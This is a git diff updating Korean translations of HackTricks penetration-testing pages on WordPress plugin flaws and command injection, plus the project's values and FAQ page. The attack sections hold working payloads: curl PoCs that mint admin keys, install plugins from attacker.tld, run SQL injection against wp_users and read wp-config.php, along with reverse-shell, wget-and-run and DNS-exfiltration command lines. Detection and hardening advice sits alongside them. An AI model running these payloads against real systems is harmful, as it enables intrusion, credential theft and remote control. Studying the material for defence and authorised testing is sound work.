nonces 및 capability checks를 요구하세요; 불필요한 경우 wp_ajax_nopriv_ 등록을 피하십시오. -- OAuth/OIDC 응답을 서버 측에서 검증하고 확인하세요; 누락되었거나 유효하지 않은 공급자(provider)는 거부하십시오(POST id로의 폴백 금지). -- 수정될 때까지 소셜 로그인을 일시적으로 비활성화하거나 엣지에서 취약한 액션을 차단하는 방식으로 가상 패치를 고려하세요. +- 클라이언트 입력으로 신원을 유추하지 마라. 이메일/ID는 검증된 provider 토큰/ID에서만 수용한다. +- 로그인 헬퍼에도 CSRF nonce와 capability 체크를 요구하라; 불필요한 경우 wp_ajax_nopriv_ 등록을 피하라. +- OAuth/OIDC 응답을 서버사이드에서 검증하고 확인하라; 제공자 누락/잘못된 경우(POST id로 폴백하지 말고) 거부하라. +- 임시로 social login을 비활성화하거나 엣지에서 가상 패치(취약 action 차단)하여 수정될 때까지 차단을 고려하라. Patched behaviour (Jobmonster 4.8.0) -- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). +- $_POST['id']의 불안전한 폴백을 제거함; $user_email은 switch($_POST['using'])의 검증된 provider 분기에서 유래해야 함. ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) -일부 플러그인은 호출자의 권한을 검증하지 않고 재사용 가능한 “connection keys” 또는 토큰을 발급하는 REST 엔드포인트를 노출합니다. 경로가 추측 가능한 속성(예: username)만으로 인증하고 키를 사용자/세션에 capability checks로 바인딩하지 않으면, 모든 미인증 공격자가 키를 발급(mint)하여 권한 있는 동작(관리자 계정 생성, 플러그인 액션 → RCE)을 실행할 수 있습니다. +일부 플러그인은 호출자의 권한을 검증하지 않고 재사용 가능한 “connection keys” 또는 토큰을 발급하는 REST 엔드포인트를 노출한다. 경로가 추측 가능한 속성(예: username)만으로 인증하고, key를 current_user_can() 또는 엄격한 permission_callback과 같은 사용자/세션에 바인딩하지 않으면, 인증되지 않은 공격자가 키를 발급해 내부 권한 동작(관리자 계정 생성, 플러그인 동작 → RCE)을 실행할 수 있다. - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback - Impact: full takeover by chaining the minted key to internal privileged actions -PoC – mint a connection key and use it +PoC – 연결 키를 발급한 뒤 사용하기 ```bash # 1) Obtain key (unauthenticated). Exact payload varies per plugin curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ @@ -756,25 +756,25 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ -H 'X-Connection-Key: ' \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` -Why it’s exploitable -- 민감한 REST route가 낮은 엔트로피의 신원 증명(username)으로만 보호되거나 permission_callback이 누락됨 -- capability 검사가 없음; 발급된 key가 범용 우회로로 수용됨 +취약한 이유 +- 민감한 REST 경로가 엔트로피가 낮은 식별 증명(username)에 의해서만 보호되거나 permission_callback이 누락됨 +- 권한 검사 없음; 발급된 키가 범용 우회로로 수용됨 -Detection checklist -- register_rest_route(..., [ 'permission_callback' => '__return_true' ]) 를 찾기 위해 플러그인 코드를 grep -- 요청으로 제공된 신원(username/email)을 기반으로 토큰/키를 발급하되 이를 인증된 사용자나 capability와 연결하지 않는 모든 route -- 서버 측 capability 검사 없이 발급된 token/key를 수용하는 후속 route를 찾아라 +탐지 체크리스트 +- plugin 코드에서 register_rest_route(..., [ 'permission_callback' => '__return_true' ]) 를 grep +- 요청으로 제공된 식별 정보(username/email)를 바탕으로 tokens/keys를 발급하되 인증된 사용자나 권한에 묶지 않는 모든 경로 +- 서버 측 권한 검사 없이 발급된 token/key를 수용하는 이후의 경로를 찾아라 -Hardening -- 권한이 필요한 모든 REST route에 대해: 필요한 capability에 대해 current_user_can()을 적용하는 permission_callback 요구 -- 클라이언트가 제공한 신원으로 장기 유효 키를 발급하지 마라; 필요한 경우 인증 후 단명, 사용자 바인딩된 토큰을 발급하고 사용 시 capability를 다시 확인하라 -- 호출자의 사용자 컨텍스트를 검증하라 (wp_set_current_user만으로는 충분하지 않음) 그리고 !is_user_logged_in() || !current_user_can() 인 요청은 거부하라 +보안 강화 +- 권한이 필요한 REST 경로에는 해당 capability에 대해 current_user_can()을 강제하는 permission_callback 필요 +- 클라이언트 제공 식별로 장기 키를 발급하지 말 것; 필요하면 인증 후 단기간, 사용자 바인딩된 토큰을 발급하고 사용 시 권한을 재검사 +- 호출자의 사용자 컨텍스트를 검증 (wp_set_current_user만으로는 불충분) 하고 !is_user_logged_in() || !current_user_can() 인 요청은 거부 --- -## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) +## Nonce 게이트 오용 → 인증되지 않은 임의의 plugin 설치 (FunnelKit Automations ≤ 3.5.3) -Nonces는 CSRF를 방지하지만 권한 부여를 대체하지 않는다. 코드가 nonce 통과를 일종의 허가 신호로 간주하고 권한이 필요한 작업(예: install/activate plugins)에 대한 capability 검사를 건너뛰면, 인증되지 않은 공격자는 약한 nonce 요구를 충족시켜 백도어가 심긴 또는 취약한 플러그인을 설치함으로써 RCE에 도달할 수 있다. +Nonces는 CSRF를 방지할 뿐 authorization을 보장하지 않는다. 코드가 nonce 통과를 승인 신호로 처리하고 권한이 필요한 작업(예: install/activate plugins)에 대한 capability 검사를 건너뛰면, 인증되지 않은 공격자는 약한 nonce 요건을 충족시켜 백도어 또는 취약한 plugin을 설치함으로써 RCE에 이를 수 있다. - Vulnerable path: plugin/install_and_activate - Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” @@ -786,24 +786,24 @@ curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` -탐지 체크리스트 -- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check -- Any code path that sets $skip_caps = true after nonce validation +Detection checklist +- 플러그인/테마를 수정하는 REST/AJAX 핸들러가 wp_verify_nonce()/check_admin_referer()만 사용하고 권한 검사 없음 +- nonce 검증 후 $skip_caps = true로 설정되는 모든 코드 경로 -하드닝 -- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state -- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code -- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows +Hardening +- nonces를 항상 CSRF 토큰으로만 취급하세요; nonce 상태와 관계없이 권한 검사를 시행하세요 +- installer code에 도달하기 전에 current_user_can('install_plugins') 및 current_user_can('activate_plugins')를 요구하세요 +- 인증되지 않은 접근을 거부하세요; 권한이 필요한 흐름에 대해 nopriv AJAX actions를 노출하지 마세요 --- -## depicter-* 액션의 s (search) 파라미터를 통한 인증되지 않은 SQLi (Depicter Slider ≤ 3.6.1) +## depicter-* actions의 s (search) 파라미터를 통한 인증되지 않은 SQLi (Depicter Slider ≤ 3.6.1) -여러 depicter-* 액션이 s (search) 파라미터를 사용해 이를 파라미터화 없이 SQL 쿼리에 연결했다. +여러 depicter-* actions가 s (search) 파라미터를 받아 파라미터화 없이 SQL 쿼리에 문자열로 연결했습니다. -- Parameter: s (search) -- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization -- Impact: database exfiltration (users, hashes), lateral movement +- 파라미터: s (search) +- 결함: WHERE/LIKE clauses에서 직접 문자열 연결; prepared statements/sanitization 없음 +- 영향: database exfiltration (users, hashes), lateral movement PoC ```bash @@ -813,34 +813,34 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` 탐지 체크리스트 -- grep으로 depicter-* action 핸들러와 SQL에서 $_GET['s'] 또는 $_POST['s']의 직접 사용을 찾아보세요 -- $wpdb->get_results()/query()로 전달되는 커스텀 쿼리에서 s를 연결(concatenating)하는 부분을 검토하세요 +- Grep for depicter-* action handlers 및 SQL에서 $_GET['s'] 또는 $_POST['s']의 직접 사용 검색 +- $wpdb->get_results()/query()에 s를 연결하여 전달되는 커스텀 쿼리 검토 -보안 강화 -- 항상 $wpdb->prepare()나 wpdb 플레이스홀더를 사용하고; 예상치 못한 메타문자는 서버 측에서 차단하세요 -- s에 대해 엄격한 허용 목록을 추가하고 예상된 문자셋/길이로 정규화하세요 +하드닝 +- 항상 $wpdb->prepare() 또는 wpdb placeholders 사용; 서버 측에서 예상치 않은 메타문자(reject unexpected metacharacters) 차단 +- s에 대해 엄격한 allowlist 추가 및 예상 charset/length로 정규화 --- -## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) +## 인증되지 않은 Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) -템플릿 파라미터에서 공격자가 제어하는 경로를 정규화/제한 없이 수락하면 임의의 로컬 파일을 읽을 수 있고, includable PHP/log 파일이 런타임에 포함되면 경우에 따라 코드 실행으로 이어질 수 있습니다. +검증/제한 없이 template 파라미터에 공격자가 제어하는 경로를 허용하면 임의의 로컬 파일을 읽을 수 있으며, 포함 가능한 PHP/log 파일이 런타임에 포함될 경우 특정 환경에서 code execution이 발생할 수 있습니다. - Parameter: __kubio-site-edit-iframe-classic-template -- Flaw: 정규화/허용 목록 없음; 디렉터리 트래버설 허용 -- Impact: 기밀 노출 (wp-config.php), 특정 환경에서는 잠재적 RCE (로그 포이즈닝, includable PHP) +- Flaw: 정규화/허용목록 없음; traversal permitted +- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP) PoC – wp-config.php 읽기 ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` 탐지 체크리스트 -- 요청 경로를 realpath() containment 없이 include()/require()/read sink에 이어붙이는 핸들러가 있는지 확인 -- 의도된 templates 디렉터리 밖으로 벗어나는 traversal 패턴 (../)을 확인 +- realpath() containment 없이 request 경로를 include()/require()/read sink에 연결(concatenating)하는 모든 handler +- 의도한 templates 디렉토리 바깥으로 벗어나는 traversal 패턴(../)을 찾아라 -하드닝 -- Allowlisted 템플릿을 강제함; realpath()로 해석하고 require str_starts_with(realpath(file), realpath(allowed_base)) -- 입력을 정규화함; traversal 시퀀스와 절대 경로를 거부함; sanitize_file_name()은 파일명(전체 경로가 아님)에만 사용 +보안 강화 +- 허용된(allowlisted) templates를 강제 적용; realpath()로 해석하고 require str_starts_with(realpath(file), realpath(allowed_base)) +- 입력을 정규화(normalize)하고 traversal 시퀀스 및 절대 경로를 차단(reject); sanitize_file_name()은 파일명에만 사용(전체 경로에는 사용 금지) ## References diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 0ca624db3..fb125f840 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## Command Injection이란 무엇인가? +## command Injection이란 무엇인가? -**command injection**은 애플리케이션을 호스팅하는 서버에서 공격자가 임의의 운영체제 명령을 실행하도록 허용한다. 그 결과 애플리케이션과 모든 데이터가 완전히 손상될 수 있다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 하부 시스템에 무단으로 접근하거나 이를 제어할 수 있게 한다. +A **command injection**은 애플리케이션을 호스팅하는 서버에서 공격자가 임의의 운영 체제 명령을 실행할 수 있도록 허용한다. 그 결과 애플리케이션과 그 안의 모든 데이터가 완전히 침해될 수 있다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기반 시스템에 대한 무단 접근 또는 제어를 획득하게 한다. -### 컨텍스트 +### 문맥 -입력이 **주입되는 위치**에 따라, 명령을 실행하기 전에 **인용된 컨텍스트를 종료**해야 할 수 있다(`"` 또는 `'` 사용). +입력이 삽입되는 위치에 따라 **입력이 삽입되는 위치(where your input is being injected)**, 명령을 실행하기 전에 **인용된 문맥을 종료해야(terminate the quoted context)** 할 수 있다(`"` 또는 `'` 사용). ## Command Injection/Execution ```bash @@ -30,24 +30,24 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **제한** Bypasses +### **Limition** 우회 -만약 **arbitrary commands inside a linux machine**를 실행하려고 한다면, 이 **Bypasses:**를 읽어보면 관심이 있을 것입니다. +만약 linux 머신 내부에서 **임의의 명령을 실행**하려고 한다면, 이 **우회:**에 대해 읽어보면 도움이 될 것입니다. {{#ref}} ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -### **예제** +### **예시** ``` vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay ``` -### Parameters +### 매개변수 -다음은 code injection 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수(출처 [link](https://twitter.com/trbughunters/status/1283133356922884096)): +다음은 code injection 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수입니다 (출처: [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Time based data exfiltration -데이터 추출: 문자 단위로 +데이터 추출: 문자 하나씩 ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS 기반 data exfiltration -다음 도구를 기반으로 함: `https://github.com/HoLyVieR/dnsbin` (또한 dnsbin.zhack.ca에 호스팅되어 있음) +다음 도구를 기반으로 함: `https://github.com/HoLyVieR/dnsbin` 또한 dnsbin.zhack.ca에 호스팅됨 ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -DNS based data exfiltration을 확인하기 위한 온라인 도구: +DNS 기반 data exfiltration을 확인할 수 있는 온라인 도구: - dnsbin.zhack.ca - pingb.in @@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -### Node.js `child_process.exec` 대 `execFile` +### Node.js `child_process.exec` vs `execFile` -JavaScript/TypeScript 백엔드를 감사할 때 종종 Node.js `child_process` API를 접하게 됩니다. +JavaScript/TypeScript 백엔드를 감사할 때 Node.js `child_process` API를 자주 마주칩니다. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()`는 **shell** (`/bin/sh -c`)을 실행하므로, shell에 특별한 의미를 가지는 모든 문자(back-ticks, `;`, `&&`, `|`, `$()`, …)가 사용자 입력이 문자열로 연결될 때 **command injection**을 유발합니다. +`exec()`는 **shell** (`/bin/sh -c`)을 실행하므로, shell에 특별한 의미를 갖는 모든 문자(back-ticks, `;`, `&&`, `|`, `$()`, …)는 사용자 입력이 문자열에 연결될 때 **command injection**을 발생시킵니다. -**완화:** `execFile()`를 사용하거나 (`shell` 옵션 없이 `spawn()`을 사용) 각 인수를 **별도의 배열 요소로 제공**하여 shell이 개입하지 않도록 하세요: +**완화:** `execFile()`를 사용하거나 (`shell` 옵션 없이 `spawn()`을 사용) 각 인수를 별도의 배열 요소로 제공하여 shell이 개입하지 않도록 하세요: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,27 +140,27 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +실제 사례: *Synology Photos* ≤ 1.7.0-0794는 인증되지 않은 WebSocket 이벤트를 통해 공격자가 제어하는 데이터를 `id_user`에 삽입할 수 있었고, 이 값이 이후 `exec()` 호출에 임베드되어 RCE를 달성할 수 있었습니다 (Pwn2Own Ireland 2024). -### Argument/Option injection: 선행 하이픈을 통한 (argv, no shell metacharacters) +### Argument/Option injection via leading hyphen (argv, no shell metacharacters) -모든 injections가 shell 메타문자를 필요로 하는 것은 아닙니다. 애플리케이션이 신뢰할 수 없는 문자열을 시스템 유틸리티의 인수로 전달하는 경우(`execve`/`execFile`을 사용하고 shell이 없는 상황에서도), 많은 프로그램은 여전히 `-` 또는 `--`로 시작하는 인수를 옵션으로 해석합니다. 이를 통해 공격자는 shell에 진입하지 않고도 동작 모드를 전환하거나 출력 경로를 변경하거나 위험한 동작을 유발할 수 있습니다. +모든 주입이 쉘 메타문자를 필요로 하는 것은 아닙니다. 애플리케이션이 신뢰할 수 없는 문자열을 시스템 유틸리티의 인수로 전달할 때(심지어 `execve`/`execFile`로 쉘을 거치지 않더라도) 많은 프로그램이 `-` 또는 `--`로 시작하는 인수를 옵션으로 파싱합니다. 이를 통해 공격자는 쉘을 깨뜨리지 않고도 모드를 전환하거나 출력 경로를 변경하거나 위험한 동작을 유발할 수 있습니다. -일반적으로 나타나는 위치: +일반적으로 이러한 문제가 나타나는 곳: -- Embedded web UIs/CGI handlers가 `ping `, `tcpdump -i -w `, `curl ` 같은 명령을 구성할 때. -- Centralized CGI routers (예: `/cgi-bin/.cgi`와 같이 `topicurl=` 같은 selector 파라미터를 사용하는 경우)에서 여러 핸들러가 동일한 약한 밸리데이터를 재사용할 때. +- 임베디드 웹 UI/CGI 핸들러가 `ping `, `tcpdump -i -w `, `curl ` 등과 같은 명령을 구성하는 경우 +- 중앙화된 CGI 라우터(예: selector 파라미터로 `topicurl=`를 사용하는 `/cgi-bin/.cgi`)에서 여러 핸들러가 동일한 취약한 유효성 검사기를 재사용하는 경우 시도해볼 것: -- 하위 도구가 플래그로 소비하도록 `-`/`--`로 시작하는 값을 제공하세요. +- 하위 도구가 플래그로 해석하도록 `-`/`--`로 시작하는 값을 제공해보세요. - 동작을 변경하거나 파일을 쓰는 플래그를 악용해보세요. 예: - - `ping`: `-f`/`-c 100000`으로 장비를 과부하시켜 DoS 유발 - - `curl`: `-o /tmp/x`로 임의 경로에 쓰기, `-K `로 공격자 제어 config 로드 - - `tcpdump`: `-G 1 -W 1 -z /path/script.sh`로 unsafe wrapper에서 rotate 후 실행 달성 -- 프로그램이 `--` end-of-options를 지원한다면, 잘못된 위치에 `--`를 prepending하는 단순한 완화책을 우회할 수 있는지 시도해보세요. + - `ping`: `-f`/`-c 100000` — 장치에 부하를 줘서 DoS 유발 + - `curl`: `-o /tmp/x` — 임의 경로에 기록, `-K ` — 공격자 제어 config 로드 + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` — post-rotate 실행을 통해 unsafe wrapper에서 코드 실행 달성 +- 프로그램이 `--` end-of-options를 지원한다면, 잘못된 위치에 `--`를 붙이는 단순한 완화책을 우회할 수 있는지 시도해보세요. -Generic PoC shapes against centralized CGI dispatchers: +중앙화된 CGI 디스패처에 대한 일반적인 PoC 형태: ``` POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded @@ -178,14 +178,14 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} -## 참고 자료 +## 참고자료 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) -- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [Synology 암호화된 아카이브 추출 – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) -- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) +- [Unit 42 – TOTOLINK X6000R: 세 가지 새로운 취약점 발견](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 347ea20f6..5ce3df4d7 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -2,56 +2,56 @@ {{#include ../banners/hacktricks-training.md}} -## HackTricks 가치 +## HackTricks Values > [!TIP] > 다음은 **HackTricks 프로젝트의 가치**입니다: > -> - 모든 인터넷 사용자에게 **무료**로 **교육용 hacking** 자료를 제공한다. -> - Hacking은 학습에 관한 것이며, 학습은 가능한 한 무료여야 한다. -> - 이 책의 목적은 포괄적인 **교육 자료**로서 기능하는 것이다. -> - 커뮤니티가 게시한 훌륭한 **hacking** 기법을 저장하고 **원저자(ORIGINAL AUTHORS)**에게 모든 **크레딧**을 돌린다. -> - **다른 사람의 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위한 멋진 트릭을 저장하고 싶습니다. -> - 우리는 또한 HackTricks에 **자체 연구**를 싣습니다. -> - 여러 경우에 기술의 중요한 부분을 HackTricks에 **요약**으로만 작성하고, 자세한 내용은 원본 게시물을 방문하도록 **독자에게 권장**합니다. -> - 책에 있는 모든 **hacking** 기법을 **정리**하여 더 **접근하기 쉬운(MORE ACCESSIBLE)** 형태로 만든다. -> - HackTricks 팀은 사람들이 **더 빨리 배울 수 있도록** 콘텐츠를 정리하는 데만 수천 시간 이상을 무료로 헌신했습니다. +> - 모든 인터넷 사용자에게 **무료**로 **교육용 hacking** 자원에 접근할 수 있게 제공합니다. +> - Hacking은 학습에 관한 것이며, 학습은 가능한 한 무료여야 합니다. +> - 이 책의 목적은 포괄적인 **교육 자료**로서 기능하는 것입니다. +> - **STORE** 커뮤니티가 발표한 멋진 **hacking** 기술들을 저장하고 **ORIGINAL** **AUTHORS**에게 모든 **credits**를 돌립니다. +> - **We don't want the credit from other people**, 우리는 단지 모두를 위해 멋진 트릭을 저장해두고 싶습니다. +> - 또한 HackTricks에 **우리의 연구**도 게재합니다. +> - 경우에 따라 기술의 중요한 부분을 HackTricks에 **요약**만 게재하고 더 자세한 내용을 위해 **독자가 원문 게시물을 방문하도록 권장**할 것입니다. +> - **ORGANIZE** 책에 있는 모든 **hacking** 기법을 정리하여 **MORE ACCESSIBLE** 하게 만듭니다. +> - HackTricks 팀은 사람들이 **더 빨리 배울 수 있도록** 콘텐츠를 정리하는 데만 수천 시간 이상을 무료로 바쳤습니다.
-## HackTricks FAQ +## HackTricks faq > [!TIP] > -> - **Thank you so much for these resources, how can I thank you?** +> - **이러한 자료들을 제공해 주셔서 감사합니다. 어떻게 감사 인사를 드릴 수 있나요?** -공개적으로 HackTricks 팀이 이 모든 자료를 정리해 준 것에 대해 감사 표시를 하고 싶다면 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급한 트윗으로 공개적으로 감사할 수 있습니다.\ -특히 감사하다면 [**sponsor the project here**](https://github.com/sponsors/carlospolop)에서 프로젝트를 후원할 수도 있습니다.\ -그리고 Github 프로젝트에 **별(star)을 주는 것**도 잊지 마세요! (링크는 아래에서 찾으실 수 있습니다). +이 모든 자료를 정리해 주신 HackTricks 팀에게 공개적으로 감사하려면 트윗에서 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급해 주세요.\ +특히 감사하시면 [**여기에서 프로젝트를 후원**](https://github.com/sponsors/carlospolop)하실 수 있습니다.\ +그리고 Github 프로젝트에 **별(star)을 주는 것**을 잊지 마세요! (아래에서 링크를 확인하세요). > [!TIP] > -> - **How can I contribute to the project?** +> - **프로젝트에 어떻게 기여할 수 있나요?** -커뮤니티와 **새로운 팁과 트릭을 공유하거나 책에서 발견한 버그를 수정**하려면 해당 Github 페이지에 **Pull Request**를 보내세요: +책에서 찾은 **새로운 팁과 트릭을 커뮤니티에 공유하거나 버그를 수정**하려면 해당 Github 페이지에 **Pull Request**를 보내세요: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Github 프로젝트에 **별(star)을 주는 것**도 잊지 마세요! +Github 프로젝트에 **별(star)** 주는 것을 잊지 마세요! > [!TIP] > -> - **Can I copy some content from HackTricks and put it in my blog?** +> - **HackTricks의 일부 콘텐츠를 복사하여 내 블로그에 올려도 되나요?** -네, 가능합니다. 다만 **내용을 가져온 특정 링크(들)**을 반드시 명시해 주세요. +네, 가능합니다. 그러나 **콘텐츠를 가져온 특정 링크(들)를 반드시 명시**하세요. > [!TIP] > -> - **How can I reference a page of HackTricks?** +> - **HackTricks의 페이지를 어떻게 참고 표기하나요?** -정보를 가져온 페이지의 링크가 표시되어 있으면 충분합니다.\ -bibtex가 필요하다면 다음과 같은 형식을 사용할 수 있습니다: +정보를 가져온 페이지의 링크가 표시되어 있으면 그것만으로 충분합니다.\ +BibTeX가 필요하다면 다음과 같이 사용하실 수 있습니다: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -64,47 +64,47 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > > - **Can I copy all HackTricks in my blog?** -**그렇게 하시지 않는 편이 좋습니다**. 그건 **아무에게도 이롭지 않습니다** — 모든 **콘텐츠는 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**. +**저는 권하지 않습니다**. 모든 **콘텐츠는 이미 공식 HackTricks 책에서 무료로 공개되어 있기 때문에** **누구에게도 도움이 되지 않습니다**. -사라질까 걱정된다면, Github에서 fork 하거나 다운로드하세요. 앞서 말했듯이 이미 무료입니다. +만약 사라질까 걱정된다면, Github에서 포크하거나 다운로드하세요. 앞서 말했듯 이미 무료입니다. > [!WARNING] > > - **Why do you have sponsors? Are HackTricks books for commercial purposes?** -첫 번째 **HackTricks** **가치**는 전 세계 **모두(ALL)**에게 **무료(FREE)** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간**을 기여했으며, 다시 말하지만 **무료**입니다. +첫 번째 **HackTricks** **가치**는 전 세계 **모두에게 무료로** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간**을 바쳤으며, 다시 말하지만 **무료**로 제공합니다. -HackTricks 책이 **상업적 목적**을 위한 것이라고 생각하신다면, **완전히 오해하신 겁니다**. +HackTricks 책이 **상업적 목적으로 만들어졌다**고 생각하신다면, **완전히 틀렸습니다**. -스폰서가 있는 이유는 모든 콘텐츠가 무료이더라도, 커뮤니티가 원할 경우 **우리의 작업을 후원할 수 있는 선택지**를 제공하고 싶기 때문입니다. 따라서 사람들에게 [**Github sponsors**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션을 제공하고, **관련 사이버보안 기업들**이 HackTricks를 후원하고 책에 **광고(ads)**를 게재할 수 있도록 합니다. 광고는 항상 **눈에 띄지만 학습을 방해하지 않는 위치**에 배치됩니다. +우리에겐 스폰서가 있는 이유는 모든 콘텐츠가 무료이더라도 커뮤니티가 원한다면 **우리의 작업을 감사히 여길 수 있는 선택지**를 제공하고 싶기 때문입니다. 따라서 사람들에게 [**Github sponsors**](https://github.com/sponsors/carlospolop)를 통한 후원 옵션을 제공하고, **관련 사이버보안 회사들**이 HackTricks를 스폰서하도록 하며 책 내에 **광고를 게재**합니다. 이 **광고들**은 항상 **눈에 띄되**, 누군가 콘텐츠에 집중할 때 **학습을 방해하지 않도록** 배치됩니다. -HackTricks는 콘텐츠가 훨씬 적은 다른 블로그들처럼 성가신 광고로 가득하지 않습니다. HackTricks는 상업적 목적을 위해 만들어진 것이 아니기 때문입니다. +HackTricks는 다른 많은 콘텐츠보다 훨씬 적은 양의 블로그들처럼 성가신 광고로 가득 차 있지 않습니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다. > [!CAUTION] > > - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** -**정말 죄송합니다. 이런 일이 있어서는 안 됩니다**. Github issues, Twitter, Discord 등으로 HackTricks 페이지의 링크와 원본 블로그 링크를 알려주시면 **확인 후 ASAP로 추가하겠습니다**. +**정말 죄송합니다. 이런 일이 있어서는 안 됩니다.** Github 이슈, Twitter, Discord 등으로 해당 HackTricks 페이지의 링크와 여러분 블로그의 링크를 알려주시면 **확인 후 가능한 빨리 출처를 추가하겠습니다**. > [!CAUTION] > > - **What should I do if there is content from my blog in HackTricks and I don't want it there?** -HackTricks에 당신의 페이지에 대한 링크가 포함되어 있는 경우: +HackTricks에 여러분의 페이지 링크가 포함되어 있으면 다음과 